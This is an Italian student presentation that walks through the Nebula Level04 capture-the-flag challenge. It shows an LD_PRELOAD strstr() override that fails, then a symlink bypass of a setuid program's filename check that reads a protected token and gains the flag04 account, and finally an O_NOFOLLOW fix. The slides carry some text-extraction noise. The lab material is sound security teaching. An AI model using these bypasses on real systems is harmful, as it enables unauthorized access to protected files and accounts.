PROGRAMMAZIONE SICURA

Capture The Flag: Level04 Nebula

Candidati:

Aniello Giugliano

Giacomo Cocozziello

Professoressa:

Barbara Masucci

SCOPO DELLA PRESENTAZIONE

L'obiettivo è vincere la sfida Capture The Flag Level04 di Nebula attraverso due diverse strategie di attacco:

- > Creazione di una libreria condivisa (come visto a lezione)
- > Creazione ed iniezione di un link simbolico

LEVEL 04

"This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :) "

Il programma in questione ha il seguente percorso: /home/flag04/flag04

CODICE SORGENTE

```
if(argc == 1) {
  printf("%s [file to read]\n", argv[0]);
  exit(EXIT_FAILURE);
}

if(strstr(argv[1], "token") != NULL) {
  printf("You may not access '%s'\n", argv[1]);
  exit(EXIT_FAILURE);
}
```

Se esiste un unico argomento il programma termina, in quanto nessun file è specificato

Controlla se il secondo argomento è ((token)), in caso di risposta affermativa l'esecuzione termina

```
fd = open(argv[1], O_RDONLY);
If(fd == -1) {
    err(EXIT_FAILURE, «Unable to open %s», argv[1];
}
rc = read(fd, buf, sizeof(buf));
if (rc == -1) {
    err(EXIT_FAILURE, «Unable to read fd %d», fd);
}
write(1, buf, rc);

    Write à una evet
```

Open è una system call che c permette di aprire un file in sola lettura.

Read è una system call usata per leggere dati nel buffer.

Write è una system call usata per scrivere dati all'interno di un buffer

OBIETTIVO DELLA SFIDA

- Recupero della password (token) dell'utente flag04, aggirando il controllo di sicurezza del programma /home/flag04/flag04
- Autenticazione come utente flag04
- Esecuzione del programma /bin/getflag come utente flag04

MODUS OPERANDI

- Raccogliere più informazioni possibili sul sistema (Nebula 04)
- Creare/Aggiornare l'albero di attacco
- Provare l'attacco soltanto dopo aver individuato un percorso plausibile
- Se l'attacco non è riuscito, tornare al primo punto
- Se l'attacco è riuscito, la sfida è vinta!

COSTRUZIONE ALBERO DI ATTACCO

Bandierina

Esecuzione diretta di /bin/getflag

Login come utente flag04

Ottenimento password utente flag04

AND

Richiesta legittima password

Rottura password

Lettura token

RICHIESTA PASSWORD

È possibilire chiedere la password dell'account flag04 al legittimo proprietario?

Il legittimo proprietario sarebbe disposto a darci la password?

No! Altrimenti che sfida sarebbe?

Si deduce che la richiesta legittima della password non è una strada percorribile.

ROTTURA PASSWORD

É possibile rompere la password flag04?

No, in quanto se la password viene scelta bene, è un compito difficile.

Si deduce che la rottura della password non è una strada percorribile

AGGIORNAMENTO ALBERO DI ATTACCO

Bandierina

Esecuzione diretta di /bin/getflag

Login come utente flag04

Ottenimento password utente flag04

AND

Richiesta legittima password I

Rottura passwor

Lettura token

FALLIMENTO DELLA STRATEGIA

Con alta probabilità la strategia scelta non porterà a nessun risultato

Bisogna cercare altre vie per ottenere la password di flag04 e catturare la bandierina

STRATEGIA ALTERNATIVA

Vediamo quali directory sono a disposizione dell'utente level04

- Is /home/level *
- Is /home/flag*

L'utente level04 può accedere solamente alle directory

- /home/level04
- /home/flag04

ACCESSO UTENTE LEVEL 04

```
Password:
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
The programs included with the Ubuntu system are free software;———
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright
Ubuntu comes with
applicable law.
```

DIRECTORY LEVEL 04

La directory /home/level04 non sembra contenere materiale interessante

```
level04@nebula:~$ ls -la representation de la communicación de la
```

DIRECTORY FLAG 04

La directory /home/flag04 contiene i file di configurazione di BASH, l'eseguibile flag04, il file ((token)) ed altri file.

```
level04@nebula:/home/flag04$ ls —la
total 13
drwxr–x––– 2 flag04 level04 93 2011–11–20 21:52 .
drwxr–xr–x 1 root root 60 2012–08–27 07:18 ..
–rw–r––r–– 1 flag04 flag04 220 2011–05–18 02:54 .bash_logout
–rw–r––r–– 1 flag04 flag04 3353 2011–05–18 02:54 .bashrc
–rwsr–x––– 1 flag04 level04 7428 2011–11–20 21:52 flag04
–rw–r––r–– 1 flag04 flag04 675 2011–05–18 02:54 .profile
–rw––––– 1 flag04 flag04 37 2011–11–20 21:52 token
```

- Il file flag04 è di proprietà di flag04 ed è eseguibile dagli utenti (level04) ed ha il bit SETUID settato a 1.
- Il file «token» non è eseguibile dagli utenti (level04) in quanto non ha i permessi di lettura, scrittura ed esecuzione.

VISUALIZZAZIONE FILE TOKEN

Andiamo a visualizzare il contenuto del file «token»

```
levelO4@nebula:~$ cat /home/flagO4/token
cat: /home/flagO4/token: Permission denied
```

levelO4@nebula:~\$ /home/flagO4/flagO4 token You may not access 'token'

Non è possibile visualizzare il contenuto del token

FUNCTION STRSTR()

Non possiamo visualizzare il contenuto del file «token» poichè c'è una restrizione all'interno del codice sorgente implementata attraverso la funzione strstr()

Leggiamo la documentazione della funzione strstr() attraverso il comando man:

```
STRSTR(3)
                               Linux Programmer's Manual
                                                                                STRSTR(3)
NAME
        strstr, strcasestr - locate a substring
SYNOPSIS
        #include <string.h>
        char *strstr(const char *haystack, const char *needle);
        #define _GNU_SOURCE
        #include <string.h>
        char *strcasestr(const char *haystack, const char *needle);
DESCRIPTION
        The strstr() function finds the first occurrence of the substring needle in the string haystack. The terminating '\0' characters are not
        compared.
                            function is like strstr(), but ignores the case of
        both arguments.
```



FUNCTION STRTSTR() 2

RETURN VALUE

These functions return a pointer to the beginning of the substring, or NULL if the substring is not found.

CONFORMING TO

The strstr() function conforms to C89 and C99. The strcasestr() function is a nonstandard extension.

BUGS

Early versions of Linux libc (like 4.5.26) would not allow an empty needle argument for strstr(). Later versions (like 4.6.27) work correctly, and return haystack when needle is empty.

SEE ALSO

index(3), memchr(3), rindex(3), strcasecmp(3), strchr(3), string(3),
strpbrk(3), strsep(3), strspn(3), strtok(3), wcsstr(3), feature_test_macros(7)

COLOPHON

This page is part of release 3.27 of the Linux man-pages project. A description of the project, and information about reporting bugs, can be found at http://www.kernel.org/doc/man-pages/.

CREAZIONE SOTTOSTRINGA «xxtoken»

È possibile eseguire il programma flag04 con in input una sottostringa di token ad esempio «xxtoken», il quale è un file che non esiste.

levelO4@nebula:/home/flagO4\$./flagO4 xxtoken You may not access 'xxtoken'

AGGIORNAMENTO ALBERO DI ATTACCO

Bandierina

Esecuzione diretta di /bin/getflag

Login come utente flag04

Ottenimento password utente flag04

AND

Richiesta legittima password

Rottura passwor

Lettura token

CREAZIONE DI UNA LIBRERIA CONDIVISA

Leggiamo la documentazione delle variabili di ambiente digitando il comando man environ:

level04@nebula:/home/flag04\$ man environ

VARIABILE LD_PRELOAD

Scopriamo che alcune variabili di ambiente, tra cui LD_PRELOAD possono influenzare il comportamento del linker dinamico.

LD_LIBRARY_PATH, LD_PRELOAD and other LD_* variables influence the behavior of the dynamic loader/linker.

LD_PRELOAD viene utilizzato per ridefinire dinamicamente alcune funzioni senza dover ricompilare i sorgenti.

SCRITTURA LIBRERIA CONDIVISA

Il file strstr.c contiene una implementazione della funzione strstr()

```
#include <stdio.h>
#include <stdlib.h>
char *strstr(char const *haystack, char const *needle)
{
    return NULL;
}
```

CREAZIONE DELLA LIBRERIA CONDIVISA

Per la creazione della libreria condivisa, usiamo il comando gcc:

gcc -shared -fPIC -o strstr.so strstr.c

Genera un oggetto linkabile a tempo di esecuzione e condivisibile con gli altri oggetti

Genera codice indipendente dalla posizione rilocabile ad un indirizzo di memoria arbitrario

MODIFICA DI LD_PRELOAD

Possiamo caricare anticipatamente la libreria condivisa strstr.so andando a modificare la variabile LD_PRELOAD:

export LD_PRELOAD=./strstr.so

OMEGENEIZZAZIONE DEI PRIVILEGI

L'iniezione di una libreria condivisa funziona solo se il file binario (strstr.c) e la libreria condivisa (strstr.so) hanno lo stesso tipo di privilegi:

- O sono entrambi SETUID
- O nessuno dei due lo è

Possiamo impostare il bit SETUID per la libreria condivisa strstr.so?

No, in quanto non siamo root.

Possiamo rimuovere il bit SETUID per il file binario /home/flag04/flag04?

Si, con una copia attraverso il seguente comando:

AGGIORNAMENTO DELL'ALBERO DI ATTACCO

Ottenimento
password utente
flag04 P

Login utente flag04

Esecuzione diretta di /bin/getflag

Bandierina

Attacchi impraticabili fatti in precedenza Lettura file token in /home/flag04

Iniezione libreria condivisa in /home/flag04/flag04

Creazione strstr.so F

LD_PRELOAD strstr.so P

Omogenizzazione dei privilegi P

Esecuzione di /home/level04/flag04<mark>P</mark>

RISULTATO DELL'ATTACCO

Il risultato ottenuto è:

```
level04@nebula:~$ ls
strstr.c
level04@nebula:~$ gcc -shared -fPIC -o strstr.so strstr.c
level04@nebula:~$ ls
strstr.c strstr.so
level04@nebula:~$ export LD_PRELOAD=./strstr.so
level04@nebula:~$ cp /home/flag04/flag04 ./
level04@nebula:~$ ./flag04 /home/flag04/token
flag04: Unable to open /home/flag04/token: Permission denied
level04@nebula:~$
```

L'attacco fallisce!!

CAUSA DEL FALLIMENTO

L'attacco fallisce a causa dei permessi presenti per il file flag04.

Dopo l'omogeizzazione il file «token» non presenta il bit SETUID settato ed inoltre non ha i permessi per gli altri utenti.

Il programma ci permette di aprire un file non contenente la sottostringa token (xxtoken)

FUNZIONE OPEN()

Prendiamo in considerazione la funzione open() del codice sorgente

```
fd = open(argv[1], O_RDONLY);

If(fd == -1) {
    err(EXIT_FAILURE, «Unable to open %s», argv[1];
}
```

```
SYNOPSIS
#include <sys/types.h>
#include <sys/stat.h>
#include <fsys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

int creat(const char *pathname, mode_t mode);
```



The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file readonly, write-only, or read/write, respectively.

In addition, zero or more file creation flags and file status flags can be bitwise-or'd in flags. The file creation flags are O_CREAT, O_EXCL, O_NOCTTY, and O_TRUNC. The file status flags are all of the remaining flags listed below. The distinction between these two groups of flags is that the file status flags can be retrieved and (in some cases) modified using fcntl(2). The full list of file creation flags and file status flags is as follows:

Specificando gli access mode, possiamo aprire diversi tipi di file o cartelle tra cui i link simbolici.

O_NOFOLLOW

If pathname is a symbolic link, then the open fails. This is a FreeBSD extension, which was added to Linux in version 2.1.126. Symbolic links in earlier components of the pathname will still be followed.

CREAZIONE ED INIEZIONE DI UN LINK SIMBOLICO

Un link simbolico (symlink) indica un particolare tipo di file che punta ad un altro file o directory.

Il symlink viene creato dall'attaccante e punta ad un file creato dalla vittima, pertanto esso avrà tutti i permessi dell'utente che lo ha generato.

A questo punto, un symlink ci permette di bypassare il controllo della funzione strstr() ed inoltre di superare i permessi del file token (password)

CREAZIONE ED INIEZIONE DI UN LINK SIMBOLICO

Il symlink viene creato attraverso il comando:

In —s target symlink

level04@nebula:~\$ in -s /home/flag04/token key

levelO4@nebula:~\$ ls key In questo caso il token viene chiamato ((key)), in quanto non può avere come sottostringa ((token))

CREAZIONE ED INIEZIONE DI UN LINK SIMBOLICO

Il symlink ha i permessi dell'utente che l'ha creato (attaccante)

```
level04@nebula:~$ ls -la
total 6
drwxr-x--- 1 level04 level04
                         80 2020-03-23 06:00
drwxr-xr-x 1 root
                          60 2012-08-27 07:18
                 root
                         220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 level04 level04
-rw-r--r-- 1 level04 level04 3353 2011-05-18 02:54 .bashrc
                          60 2020-03-23 06:00 .cache
drwx----- 2 level04 level04
41 2011-11-20 21:16 .lesshst
-rw----- 1 level04 level04
                         675 2011-05-18 02:54 .profile
-rw-r--r-- 1 level04 level04
```

Notiamo che key punta al file token in flag04

ESECUZIONE FLAG04 CON SYMLINK

Eseguiamo il programma flag04 passandogli il link simbolico appena creato.

levelO4@nebula:~\$ /home/tlagO4/tlagO4 key O6508b5e–8909–4f38–b630–fdb148a848a2

Eseguendo flag04 con il symlink il file viene aperto in quanto ha il bit SETUID impostato a 1.

SFIDA VINTA?

Accediamo come utente flag04 attraverso il token

```
flagO4@nebula:~$ whoami
flagO4
flagO4@nebula:~$ id
uid=995(flagO4) gid=995(flagO4) groups=995(flagO4)
flagO4@nebula:~$ _
```

Eseguiamo il comando getflag ed otteniamo la vittoria

```
flagO4@nebula:~$ getflag
You have successfully executed getflag on a target account
```





Login utente flag04

Esecuzione diretta di /bin/getflag

Bandierina

Р

Attacchi impraticabili precedenti

Lettura file token in /home/flag04

Esecuzine di /home/flag04/flag04<mark>P</mark> Creazione symlink «key» in /home/level

SFIDA VINTA!



LA VULNERABILITÀ IN LEVELO4

La vulnerabilità presente in flag04 si verifica per via dei link simbolici

CWE di riferimento: CWE-61 Unix Symbolic link (Symlink) following

CWE-61: UNIX Symbolic Link (Symlink) Following

Weakness ID: 61
Abstraction: Compound
Structure: Composite

Presentation Filter: Basic

Description

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Composite Components

Nature	Type	ID	Name
Requires	0	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Requires	•	340	Generation of Predictable Numbers or Identifiers
Requires	₿	386	Symbolic Name not Mapping to Correct Object
Requires	Θ	732	Incorrect Permission Assignment for Critical Resource

MITIGAZIONE #1

L'accesso alla directory dovrebbe essere limitato al programma in modo da impedire agli aggressori di manipolare i file.

MITIGAZIONE #2

Bisognerebbe seguire il principio dei minimi privilegi quando si assegnano i diritti di accesso alle entità in un sistema software.

Negare l'accesso ad un file può impedire a un utente malintenzionato di sostituire quel file con un collegamento a un file sensibile.

MITIGAZIONE #3

Non salvare le credenziali di accesso del proprio account (token) nello spazio utente riservato al proprio account.

FASI DELLA MITIGAZIONE

Modifichiamo il programma flag04 inserendo all'interno del codice sorgente la seguente stringa:

fd = open(argv[1], O_RDONLY | O_NOFOLLOW);

- Accendiamo come admin (nebula)
- Creiamo il file «mitigazione» e lo compiliamo.
- Spostiamo il file nella directory flag04
- Modifichiamo i permessi e il proprietario
- Settiamo il bit SETUID

Il codice sorgente è quello del file flag04



RISULTATO DELLA MITIGAZIONE

levelO4@nebula:~\$ /home/flagO4/mitigazione ./key

mitigazione: Unable to open ./key: Too many levels of symbolic links

level04@nebula:~\$

